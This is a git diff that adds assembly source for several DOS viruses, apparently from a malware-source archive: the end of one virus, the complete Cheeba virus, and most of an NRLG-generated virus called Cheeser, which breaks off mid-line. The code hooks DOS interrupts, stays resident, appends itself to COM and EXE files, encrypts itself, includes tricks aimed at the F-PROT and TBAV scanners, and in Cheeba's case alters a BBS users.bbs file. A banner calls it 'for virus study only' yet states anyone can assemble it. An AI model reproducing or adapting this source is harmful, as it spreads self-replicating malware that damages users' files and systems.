(06E3:0002=2342h) + push es + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:data_18e,8 ; (0688:0001=0FF17h) + call sub_9 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call sub_9 + add ax,ds:data_20e ; (06E3:0006=2344h) + adc dx,0 + sub ax,bx + sbb dx,cx + jc loc_44 ; Jump if carry Set + sub ds:data_20e,ax ; (06E3:0006=2344h) +loc_44: + mov si,di + xor di,di ; Zero register + push cs + pop ds + sub si,413h + mov cx,589h + inc cx + rep movsb ; Rep while cx>0 Mov [si] to es:[di] + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + dec bx + mov ds,bx + mov byte ptr ds:data_17e,5Ah ; (0687:0000=81h) 'Z' + mov dx,142h + xor ax,ax ; Zero register + push ax + pop ds + mov ax,es + sub ax,10h + mov es,ax + cli ; Disable interrupts + mov ds:data_5e,dx ; (0000:0084=6E3h) + mov ds:data_6e,es ; (0000:0086=161Ah) + sti ; Enable interrupts + dec byte ptr ds:data_14e ; (0000:047B=0) +loc_45: + pop si + cmp word ptr cs:data_46e[si],5A4Dh ; (701E:FBF0=0) + jne loc_46 ; Jump if not equal + pop ds + mov ax,cs:data_50e[si] ; (701E:FC14=0) + mov bx,cs:data_49e[si] ; (701E:FC12=0) + push cs + pop cx + sub cx,ax + add cx,bx + push cx + push word ptr cs:data_48e[si] ; (701E:FC10=0) + push ds + pop es + call sub_10 + ret ; Return far +loc_46: + pop ax + mov ax,cs:data_46e[si] ; (701E:FBF0=0) + mov cs:data_21,ax ; (701E:0100=0CE9h) + mov ax,cs:data_47e[si] ; (701E:FBF2=0) + mov cs:data_22,ax ; (701E:0102=0C304h) + mov ax,100h + push ax + push cs + pop ds + push ds + pop es + call sub_10 + ret +sub_11 endp + + +code_seg_a ends + + + + end start diff --git a/c/Cheeba.asm b/c/Cheeba.asm new file mode 100755 index 0000000..d2f9bf8 --- /dev/null +++ b/c/Cheeba.asm @@ -0,0 +1,857 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;*** The author of Cheeba let his source lie around --- so HERE IT IS!!! *** +; Btw just one thing --- I give it 2 you as long as you don't make a +; sucking destroying thing... Btw 2 this is of course only educational... +;----------------------------------------------------------------------------- +; Naam en password staan +- op lijn 200. Verander de low-version number +; bij de verschillende versies... +; Verander verder NIKS aan het virus !!! + +Com_First: push cs +S_1: mov ax,100h +S_2: push ax + mov ax,cs +CodePars: add ax,0 + push ax +S_3: mov ax,offset End_Virus +S_4: push ax + retf + +VirTitle db 'CHEEBA Makes Ya High Harmlessly-1.2 F**K THE LAMERS' + +I21Hooks db 0 + dw offset Stop_Prg + db 31h + dw offset Stop_Prg + db 4Ch + dw offset Stop_Prg + db 4Bh + dw offset Start_Prg + db 45h + dw offset Check_Init + db 3Ch + dw offset Open_Wrt + db 3Dh + dw offset Open_Rd + db 3Eh + dw offset Check_Close + db 40h + dw offset Check_Vir + +New_21: call Rest_Orig_21 + call Save_Regs + cld + mov bx,offset I21Hooks +Srch_Fct_Lp: cmp ah,[bx] + jne Wrong_Fct + push [bx+1] + call Retr_Regs + ret +Wrong_Fct: add bx,3 + cmp bx,offset New_21 + jb Srch_Fct_Lp + +Go_Dos: call Retr_Regs + call Call_Dos +Skip_21: call Rest_21_Jmp + retf 2 + +Call_Dos: pushf + db 09Ah +Org_21_Addr dw 2 dup (?) + ret + +Org_21_Code db 5 dup (?) + +;*** Fct 45 - check init *** + +Check_Init: cmp bx,0D15h + jne Go_Dos + mov bx,0F0Ch + jmp short Skip_21 + +;*** I21 FCT 3Dh - Open file for read *** + +Open_Rd: test al,3 + jz Go_Dos + xchg si,dx +Get_0: lodsb + or al,al + jnz Get_0 + mov cx,0Ah + xor bx,bx + xor ax,ax + cwd ; Dx = 0 +Get_CSum: dec si + rol bx,1 + mov al,[si] + or al,20h + xor bl,al + add dx,ax + loop Get_CSum + cmp bx,1AE7h + jne Go_Dos + cmp dx,3B7h + jne Go_Dos + +Is_Users: mov word ptr cs:[Save_A_Reg],si + mov di,offset Coded +Del_Si: mov si,word ptr cs:[Save_A_Reg] +Lp_Unc: lodsb + or al,al + jz Del_Si + or al,20h + sub byte ptr cs:[di],al + inc di + cmp di,offset No_Read + jb Lp_Unc + +Coded: call Retr_Regs + and al,0FEh + or al,2 + call Call_Dos + jnc Has_Read + jmp No_Read +Has_Read: pushf + call Save_Regs + xchg bx,ax + mov ah,3Fh + mov cx,9Eh + mov dx,offset End_Virus + call Call_Dos + mov dx,[End_Virus+20h] + mov cx,[End_Virus+22h] + or cx,cx + jnz Test_Ok + or dx,dx + jz No_XS_YET + +Test_Ok: mov ax,4200h + call Call_Dos + mov ah,3Fh + mov dx,offset End_Virus+9Eh + mov cx,9Eh + call Call_Dos + cmp ax,cx + jnz No_XS_YET + cmp byte ptr [End_Virus+9Eh],3 + jne No_XS_YET + test byte ptr [End_Virus+9Eh+77h],1 + jnz No_XS_YET + mov ax,[End_Virus+84h] + cmp ax,[End_Virus+9Eh+84h] + jne No_XS_YET +J_Less: jmp Less_Users + +No_XS_Yet: mov ax,4202h + xor cx,cx + cwd ; Dx = 0 + call Call_Dos + or dx,dx + jnz More_Users + cmp ax,9Eh*50 ; 50 users of meer + jb J_Less + +More_Users: mov cx,9Eh + div cx + or dx,dx + jnz J_Less + shr ax,1 + mul cx + xchg cx,dx + xchg dx,ax + mov ax,4200h + call Call_Dos +Read_Lp: mov ah,3Fh + mov dx,offset End_Virus+9Eh + mov cx,9Eh + call Call_Dos + cmp ax,cx + jne Less_Users + test byte ptr [offset End_Virus+9Eh+77h],1 ; Search deleted + je Read_Lp + mov ax,4201h + mov cx,-1 + mov dx,-9Eh + call Call_Dos + push dx + push ax + mov [End_Virus+20h],ax + mov [End_Virus+22h],dx + mov ax,4200h + xor cx,cx + cwd ; dx = 0 + call Call_Dos + mov ah,40h + mov cx,9Eh + mov dx,offset End_Virus + call Call_Dos + mov ax,4200h + pop dx + pop cx + call Call_Dos + push ds + pop es + mov al,0 + mov di,offset End_Virus + mov cx,106h-9Eh + repz stosb + mov ax,2020h + mov cx,5 +Wrt_20s: inc di + stosw + loop Wrt_20s + +;HIER STAAN NAAM EN PASSWORD. +; Naam en password zijn 3 chars, Name = , Password = +; Zijn dus Name = 1F 20 7E, Password = 4D 5A B8 +; Staan zoals hier: +; +; mov ..., 0 +; ..... 0 +; Password: +; ..... ,0 +; ..... ,0 +; + mov word ptr [End_Virus],01F03h + mov word ptr [End_Virus+2],07E20h + mov word ptr [End_Virus+3Eh],04D03h + mov word ptr [End_Virus+40h],0B85Ah + + + mov ah,40h + mov cx,9Eh + mov dx,offset End_Virus + call Call_Dos + +Less_Users: call Go_Beg_File + popf + call Retr_Regs +No_Read: pushf + push ax + push si + push di + push ds + mov di,offset Coded +Del_Si_2: mov si,word ptr cs:[Save_A_Reg] +Lp_Unc_2: lodsb + or al,al + jz Del_Si_2 + or al,20h + add byte ptr cs:[di],al + inc di + cmp di,offset No_Read + jb Lp_Unc_2 + + pop ds + pop di + pop si + pop ax + popf + + call Rest_21_Jmp + retf 2 + +;*** I 21 FCT 3C - Rewrite file *** + +Open_Wrt: cld + test byte ptr cs:[Flags],1 ; Already sure-exec opened? + jnz J_JD_2 + + push ds + pop es + xchg di,dx + mov al,0 + mov cx,-1 + repnz scasb + mov ax,[di-5] + or ax,2020h + cmp ax,'c.' + jne No_Com + mov ax,[di-3] + or ax,2020h + cmp ax,'mo' + jne Open_It +Sure_Exec: or byte ptr cs:[Flags],1 +Open_It: call Retr_Regs + call Call_Dos + jc Not_Opened + mov word ptr cs:[Exec_Handle],ax +Not_Opened: call Rest_21_Jmp + retf 2 + +No_Com: cmp ax,'e.' ; '.E'? + jne Open_It + + mov ax,[di-3] + or ax,2020h + cmp ax,'ex' ; .. 'XE'? + je Sure_Exec +OJ_2: jmp short Open_It + +;*** I21 FCT 3E - Infect on close if orig. prog has written too *** + +Check_Close: push cs + pop ds + cmp bx,[Exec_Handle] ; Same file? +J_JD_2: jne JD_2 + mov word ptr [Exec_Handle],0FFFFh ; Don't follow anymore + call Go_Beg_File ; Go to beg. of file + mov ah,3Fh ; Read first bytes + mov cx,18h + mov dx,offset Read_Buf + call Call_Dos + and byte ptr [Flags],0FBh ; Flag for COM + cmp word ptr [Read_Buf],'ZM' ; MZ - Exe? + je Infect_Exe + test byte ptr [Flags],1 ; Sure exec? + jnz Infect_Com + and byte ptr cs:[Flags],0FEh +JD_2: jmp Go_Dos + +Infect_Exe: or byte ptr [Flags],4 ; Flag for EXE + mov ax,[Read_Buf+16h] + mov [Exe_CS+1],ax + mov ax,[Read_Buf+14h] + mov [Exe_IP+1],ax + cmp ax,offset Init + je OJ_2 + mov ax,[Read_Buf+0Eh] + mov [Exe_SS+1],ax + mov ax,[Read_Buf+10h] + mov [Exe_SP+1],ax +Infect_Com: and byte ptr [Flags],0FEh + cmp word ptr [Read_Buf],0B80Eh + je JD_2 + cmp word ptr [Read_Buf],0BFh + je JD_2 + +Not_Inf: mov ax,4202h ; Go to end of file + xor cx,cx + cwd ; Dx = 0 + call Call_Dos + + test byte ptr [Flags],4 + jz No_Ovl_Test + + push ax ; .EXE: Test for internal overlays + push dx + mov cx,200h + div cx + cmp dx,[Read_Buf+2] + jne Is_Ovl + or dx,dx + jz No_Corr_Chk + inc ax +No_Corr_Chk: cmp ax,[Read_Buf+4] +Is_Ovl: pop dx + pop ax + je No_Ovl_Test + +JD_3: jmp short JD_2 + +No_Ovl_Test: add ax,0Fh ; End in paragraphs + adc dx,0 + and ax,0FFF0h + + mov Org_Fl_Len_Lo,ax + mov Org_Fl_Len_Hi,dx + + push ax + mov cl,4 + shr ax,cl + mov [CodePars+1],ax + or al,al + jnz No_Al_0 + dec al +No_Al_0: mov byte ptr [offset S_5-1],al + pop ax + + push ax + push dx + + mov cx,dx ; Go to end-in-paragraphs + mov dx,ax + mov ax,4200h + call Call_Dos + + push cs + pop es + mov si,100h + mov di,offset End_Virus + mov cx,offset End_Virus-100h + mov dl,byte ptr cs:[offset S_5-1] +Code_Lp: lodsb + cmp si,offset Init + ja No_Code + xor al,dl +No_Code: stosb + loop Code_Lp + + mov ax,5700h + call Call_Dos + mov Org_Fl_Time,cx + mov Org_Fl_Date,dx + + mov ah,40h ; Write virus behind program + mov cx,offset End_Virus-100h + mov dx,offset End_Virus + call Call_Dos + + call Go_Beg_File + + mov dx,offset Com_First + mov cx,10h + + pop si + pop ax + + test byte ptr [Flags],4 + jz Init_Com + + mov dx,si + mov cx,4 +Get_CS: shr dx,1 + rcr ax,1 + loop Get_CS + + sub ax,[Read_Buf+8] ; - header size + sub ax,10h + mov [Read_Buf+16h],ax + mov [Read_Buf+0Eh],ax + mov word ptr [Read_Buf+14h],offset Init + mov word ptr [Read_Buf+10h],offset End_Virus+100h + + mov ax,Org_Fl_Len_Lo + mov dx,Org_Fl_Len_Hi + + add ax,offset End_Virus-100h + adc dx,0 + mov cx,200h + div cx + or dx,dx + jz No_Corr + inc ax +No_Corr: mov [Read_Buf+2],dx + mov [Read_Buf+4],ax + mov dx,offset Read_Buf + mov cx,18h + +Init_Com: mov ah,40h + call Call_Dos + + mov ax,5701h + mov cx,Org_Fl_Time + mov dx,Org_Fl_Date + call Call_Dos + +JD_4: jmp short JD_3 + + +;*** 00 / 31 / 4C: End program *** + +Stop_Prg: push ds + push bx + lds bx,cs:[Jmp_22+1] + cli + mov byte ptr [bx],0EAh + mov word ptr [bx+1],offset Int_22 + mov word ptr [bx+3],cs + sti + pop bx + pop ds + jmp short JD_4 + +Int_22: call Rest_21_Jmp + push cs + pop ds + les di,dword ptr [Jmp_22+1] + mov si,offset Org_22 + call Move_Bytes + call Retr_Regs +Jmp_22: jmp 0:0 + +Org_22 db 5 dup (?) + +;*** Start prog *** + +Start_Prg: lds bx,cs:[Jmp_13+1] + cli + mov byte ptr [bx],0EAh + mov word ptr [bx+1],offset Int_13 + mov word ptr [bx+3],cs + sti + call Retr_Regs +JD_5: jmp short JD_4 + +Int_13: call Rest_21_Jmp + push si + push di + push ds + push es + push cs + pop ds + les di,dword ptr [Jmp_13+1] + mov si,offset Org_13 + call Move_Bytes + pop es + pop ds + pop di + pop si +Jmp_13: jmp 0:0 + +Org_13 db 5 dup (?) + +;*** Check for string 'iru' (vIRUs) *** + +Check_Vir: cmp bx,cs:[Exec_Handle] + jne No_Vir + sub cx,2 + jc No_Vir + push ds + pop es + mov di,dx + mov al,'i' +Iru_Lp: repnz scasb + jnz No_Vir + cmp word ptr [di],'ur' + jne Iru_Lp + mov word ptr cs:[Exec_Handle],0FFFFh + and byte ptr cs:[Flags],0FEh +No_Vir: jmp short JD_5 + + +Move_Bytes: cli + cld + movsw + movsw + movsb + sti + ret + +Rest_Orig_21: push si + push di + push ds + push es + push cs + pop ds + mov si,offset Org_21_Code + les di,dword ptr [Org_21_Addr] + call Move_Bytes + pop es + pop ds + pop di + pop si + ret + +Rest_21_Jmp: push ds + push bx + lds bx,dword ptr cs:[Org_21_Addr] + cli + mov byte ptr [bx],0EAh + mov word ptr [bx+1],offset New_21 + mov word ptr [bx+3],cs + sti + pop bx + pop ds + ret + +;*** Proc: Save regs *** + +Save_Regs: mov word ptr cs:[Save_Ds],ds + push cs + pop ds + mov word ptr [Save_Ax],ax + mov word ptr [Save_Bx],bx + mov word ptr [Save_Cx],cx + mov word ptr [Save_Dx],dx + mov word ptr [Save_Si],si + mov word ptr [Save_Di],di + mov word ptr [Save_Es],es + ret + +Retr_Regs: push cs + pop ds + mov ax,word ptr [Save_Ax] + mov bx,word ptr [Save_Bx] + mov cx,word ptr [Save_Cx] + mov dx,word ptr [Save_Dx] + mov si,word ptr [Save_Si] + mov di,word ptr [Save_Di] + mov es,word ptr [Save_Es] + mov ds,word ptr [Save_Ds] + ret + +Go_Beg_File: mov ax,4200h + xor cx,cx + cwd ; dx = 0 + call Call_Dos + ret + +Exec_Handle dw 0FFFFh ; Handle of opened-with-write- exec. file + +Flags db (?) ; Flags: 1 = Sure exec (- Maybe data) + ; 4 = EXE-file (- COM) + +Org_Fl_Len_Lo dw (?) +Org_Fl_Len_Hi dw (?) + +Org_Fl_Time dw (?) +Org_Fl_Date dw (?) + +Save_Ax dw (?) +Save_Bx dw (?) +Save_Cx dw (?) +Save_Dx dw (?) +Save_Si dw (?) +Save_Di dw (?) +Save_Ds dw (?) +Save_Es dw (?) + +Save_A_Reg dw (?) + +Decoded: mov word ptr cs:[Save_A_Reg],ds + push ax + push bx + push cx + push dx + push ds + push es + + mov ah,45h + mov bx,0D15h + int 21h + cmp bx,0F0Ch + jne N_Y_Inst + jmp Jmp_No_Init +N_Y_Inst: cld + + xor ax,ax + mov ds,ax + + mov ax,[88h] ; Save I22 addr + mov cs:[Jmp_22+1],ax + mov ax,[8Ah] + mov cs:[Jmp_22+3],ax + + mov ax,[04Ch] ; Save I13 addr + mov cs:[Jmp_13+1],ax + mov dx,[04Eh] + mov cs:[Jmp_13+3],dx + + mov ah,52h + int 21h + cmp dx,es:[bx-2] + jnb Jmp_No_Init + + push [84h] + push [86h] + + push cs + pop ds + + push cs + pop es + + mov si,offset Com_First + mov di,offset Com_Start_2 + +MoveStrt: lodsw ; Other .COM start-up + cmp si,offset CodePars+3 + je No_MS_Lp + xchg ax,[di] + mov [si-2],ax + inc di + inc di +No_MS_Lp: cmp si,offset VirTitle + jb MoveStrt + + xor byte ptr [Init],1 + xor byte ptr [S_9],6Ch + xor byte ptr [Decode_Lp+2],1 + xor byte ptr [S_5],1 + xor byte ptr [S_6+1],1 + xor byte ptr [S_7],7 + xor byte ptr [S_8],6Ch ; Nop <> CLD + + mov ax,word ptr cs:[Save_A_Reg] + dec ax +MCB_Loop: mov ds,ax + cmp byte ptr [0],'Z' + je Found_End_MCB + add ax,[3] + inc ax + cmp ah,0A0h + jb MCB_Loop + add sp,4 +Jmp_No_Init: jmp short No_Init + +Found_End_MCB: mov bx,[3] +Here_Pars: sub bx,100h ; Filled in init-proc. + jc No_Init + mov [3],bx + add ax,bx + inc ax + mov ds,cs:[Save_A_Reg] + mov word ptr [2],ax + sub ax,10h + mov cx,offset End_Virus-100h + push cs + pop ds + mov es,ax + mov si,100h + mov di,si + repz movsb + + pop ds + pop si + + mov es:[Org_21_Addr],si + mov es:[Org_21_Addr+2],ds + + mov di,offset Org_21_Code + + call Move_Bytes + + cli + mov byte ptr [si-5],0EAh + mov word ptr [si-4],offset New_21 + mov word ptr [si-2],es + sti + + lds si,cs:[Jmp_22+1] + mov di,offset Org_22 + + call Move_Bytes + + lds si,cs:[Jmp_13+1] + mov di,offset Org_13 + + call Move_Bytes + +No_Init: pop es + pop ds + pop dx + pop cx + pop bx + pop ax + + test cs:Flags,4 + jnz Rest_Stack + + push ds + push cs + pop ds + mov cx,10h + mov si,offset Read_Buf + mov di,100h + repz movsb + pop ds + retf + +Rest_Stack: mov ax,ds ; Stack restore for .EXE files +Exe_SS: add ax,0 + add ax,10h + cli + mov ss,ax +Exe_SP: mov sp,0 + sti + mov ax,ds +Exe_Cs: add ax,0 + add ax,10h + push ax +Exe_Ip: mov ax,0 + push ax + retf + +Com_Start_2: mov di,100h + push cs + mov ax,cs + push di + db 05h ; Add Ax,xxxx + mov di,offset Init + push ax + push di + retf + +;*** INIT - ONLY DECODE - PART *** + +Init: mov si,offset Com_First +S_9: cld +Decode_Lp: xor byte ptr cs:[si],0 +S_5: inc si +S_6: cmp si,offset Init +S_7: jne Decode_Lp +S_8: nop + jmp Decoded + +Read_Buf db 0CDh,20h + db 16h dup (?) + +End_Virus: cld + mov word ptr [S_3+1],offset Init + mov word ptr [Here_Pars+2],(((offset End_Virus-101h) shr 4) +1) shl 1 + mov di,offset Coded +New_Us: mov si,offset User_St +B_V_CLp: lodsb + or al,al + jz New_Us + add [di],al + inc di + cmp di,offset No_Read + jb B_V_CLp + jmp Init + +User_St db 'users.bbs',0 + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/c/Cheeser.asm b/c/Cheeser.asm new file mode 100755 index 0000000..9cf4b37 --- /dev/null +++ b/c/Cheeser.asm @@ -0,0 +1,416 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ; +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; + +mov ax,351ch ; +int 21h ;store the int 1ch vectors +mov word ptr [trampaint+bp],bx ;in cs:trampaint +mov word ptr [trampaint+2+bp],es ; +mov ax,251ch ;put the int 1ch (clock) vector +push cs ; +pop ds ; +mov 